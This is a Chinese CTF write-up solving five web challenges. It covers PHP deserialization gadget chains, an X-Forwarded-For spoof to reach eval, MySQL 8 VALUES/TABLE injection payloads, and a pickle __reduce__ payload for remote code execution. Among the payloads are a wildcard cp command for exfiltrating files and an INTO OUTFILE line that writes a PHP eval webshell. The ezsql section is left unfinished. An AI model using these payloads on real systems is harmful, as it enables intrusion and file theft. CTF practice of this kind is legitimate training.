0.碎碎念

这次web一下子给了7道题目我趣,打比赛的时候很坐牢,不过还是拿下了省一,感谢Straw师傅和Lunatic师傅带飞

1.ez_serialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in /flag.php
error_reporting(0);
class baby{
public $var;
public $var2;
public $var3;

public function learn($key){
echo file_get_contents(__DIR__.$key);
}

public function getAge(){
return $this->var2->var3;
}

public function __isset($var){
$this->learn($var);
}

public function __invoke(){
return $this->learn($this->var);
}

public function __wakeup(){
$this->getAge();
}
}

class young{
public $var;

public function __toString(){
return ($this->var)();
}
}

class old{
public $var;

public function __get($key){
return "Okay, you get the key, but we send you ".$this->var;
}
}

if(isset($_GET['age'])){
@unserialize($_GET['age']);
}
else{
highlight_file(__FILE__);
}
?>

很简单的签到题目,上来就直接出了,还抢了个三血

payload

1
2
3
4
5
6
$payload = new baby();
$payload->var2 = new old();
$payload->var2->var = new young();
$payload->var2->var->var = new baby();
$payload->var2->var->var->var = '/flag.php';
echo(serialize($payload));

然后直接f12就好了

2.ez_md5

有的东西不能多说啊。。。。。。。

给了附件

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
require_once 'check.php';

if (isRequestFromLocal()) {
echo 'hello!';
$a = $_GET['cmd'];
$b = $_GET['key1'];
$c = $_GET['key2'];
if(!preg_match("/eval|shell_exec|system|proc_open|popen|pcntl_exec|\'|cat|include|whoami/i",$a)){
if(md5($b) == md5($c)){
eval($a);
}
}else{
echo 'Oh no, you are hacker!!!';
}
} else {
die("failed");
}
?>

check.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
function isRequestFromLocal() {
// 定义本地IP地址
$localIP = '127.0.0.1';

// 获取客户端IP地址
$clientIP = $_SERVER['HTTP_X_FORWARDED_FOR'];

// 比较客户端IP地址与本地IP地址
if ($clientIP === $localIP) {
// 请求来自本地
return true;
} else {
// 请求不来自本地
return false;
}
}
?>

怕哥们看不懂是吗

改xff头,然后用passthru打就好了

3.p2rce

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
error_reporting(0);
highlight_file(__FILE__);
class CCC {
public $c;
public $a;
public $b;

public function __destruct()
{
$this->a = 'flag';
if($this->a === $this->b) {
echo $this->c;

}
}

class AAA {
public $s;
public $a;

public function __toString()
{
$p = $this->a;
return $this->s->$p;
}
}
class BBB {
public $b;
public function __get($name)
{
if (is_string($this->b) && !preg_match("/[A-Za-z0-9_$]+/", $this->b)) {
global $flag;
$flag = $this->b;
echo $this->b;
} else {
return '<br/>get it!!';
}
}
}
if(isset($_GET['ctf'])) {
if(preg_match('/flag/i', $_GET['ctf'])) {
die('nonono');
}
$a = unserialize($_GET['ctf']);
system($flag);
throw new Exception("goaway!!!");
} else {
highlight_file(__FILE__);
}

也是很清楚的链子

这里要绕过好多东西

(preg_match(‘/flag/i’, $_GET[‘ctf’])

这里直接16进制绕过

1
S:4:"f\6cag"

换掉最后的flag

throw new Exception(“goaway!!!”);

把最后的大括号删掉就好了,破坏数据完整性,强制gc

is_string($this->b) && !preg_match(“/[A-Za-z0-9_$]+/“, $this->b)

想必各位都是卡在这里把,没错我也是

这里需要要花的通配符

1
2
3
4
5
6
7
$all=new CCC();
$all->b="flag";
$all->c=new AAA();
$all->c->$a=new BBB();
$all->c->s=new BBB();
$all->c->s->b="/???/?? /* .";
echo((serialize($all)));

这里代表/bin/cp /* .

然后看到start.sh里面存在flag.sh,访问就好了

这个估计是非预期

看了0rays的wp,他们师傅给出的方法是上传一个文件,然后

1
./???/????????[@-[]

把文件的内容当作system的参数就好

4.ezsql

题目提示是mysql8的注入,直接gg,没做过

【网安干货】MySQL8新特性注入技巧_mysql values row_IT老涵的博客-CSDN博客

本地搭建mysql8服务

1
2
3
4
5
6
docker run -p 3306:3306 --name mysql -e MYSQL_ROOT_PASSWORD=123456  -d mysql:8.0.21
#然后docker ps -a查看镜像名字,然后就可以
docker exec -it <镜像id> /bin/bash
#进入容器内登录
docker -u root -p
123456#登录

mysql8注入特性

多一个表

information_schema.TABLESPACES_EXTENSIONS

这里面储存了数据库和数据表

image-20231119161349428

VALUES语法

1
2
3
4
5
6
7
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]
value_list:
value[, value][, ...]
column_designator:
column_index

gpt解释的

1
2
3
4
5
6
7
8
9
10
11
row_constructor_list: 这是一个值构造器列表,它表示将要插入或者操作的行的列表。

ROW(value_list): 表示一行中的值列表。value_list是一系列数值,它们将填充到一行中的列中。

value_list: 这表示一个值的列表,它包含了一行中的各个列的值。

column_designator: 这是对列进行排序的部分。ORDER BY column_designator表示你可以按照指定的列对这些行进行排序。

column_index: 这可能是指行中的列的顺序或索引。当你要按照特定列的值对行进行排序时,你可以使用这个索引。

LIMIT BY number: 这是一个可选的部分,用于限制结果的数量,以便返回指定数量的行。

tables语法

1
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

可以看到这里使用table和上面select效果一样

image-20231119161538652

与select不同的是

TABLE始终显示表单中的所有列
TABLE不允许对其进行任何过滤,即TABLE不支持任何WHERE子句

image-20231119161729565

1
2
3
4
5
6
7
一些其他的payload
id=0/**/union/**/values/**/row('injection')
id=0/**/union/**/values/**/row(database())
id=0/**/union/**/values/**/row(user())
id=0/**/union/**/values/**/row(@@secure_file_priv)
id=0/**/union/**/values/**/row(load_file('/flag'))
id=0/**/union/**/values/**/row(0x3c3f70687020406576616c28245f504f53545b615d293b3f3e)/**/into/**/outfile/**/'/var/www/html/shell.php'

回到这里

因为后面的查询语句里,使用的是table

table会始终显示所有的字段,这里就要去试哪一个回显

1
2
3
1'or/**/('def','fff111 aaagg',',',5,6,7,8,9,10,11,12,13,14,15,16,1
7,18,19,20,21)<(table/**/information_schema.tables/**/limit/**/329
1)#

注入出表名

然后注入出flag(不区分大小写,需要设置编码utf8mb4_bin)

这里没环境了,以后遇到了在说,先放一边吧

5.ezezweb

比赛的时候脑瘫了,没想到那个cookie是pickle反序列化的结果

我说那个结尾的ub.怎么那么熟悉,好像哪里看到过

直接上脚本

1
2
3
4
5
6
7
8
9
import pickle
import pickletools
import os
class obj:
def __reduce__(self):
return(os.system,('cat/flag',))
class1=obj()
a=pickle.dumps(class1)
print(a)

这里没回显,可以本地起一个http服务,然后curl上去

后面的jama哥们不会了,以后再说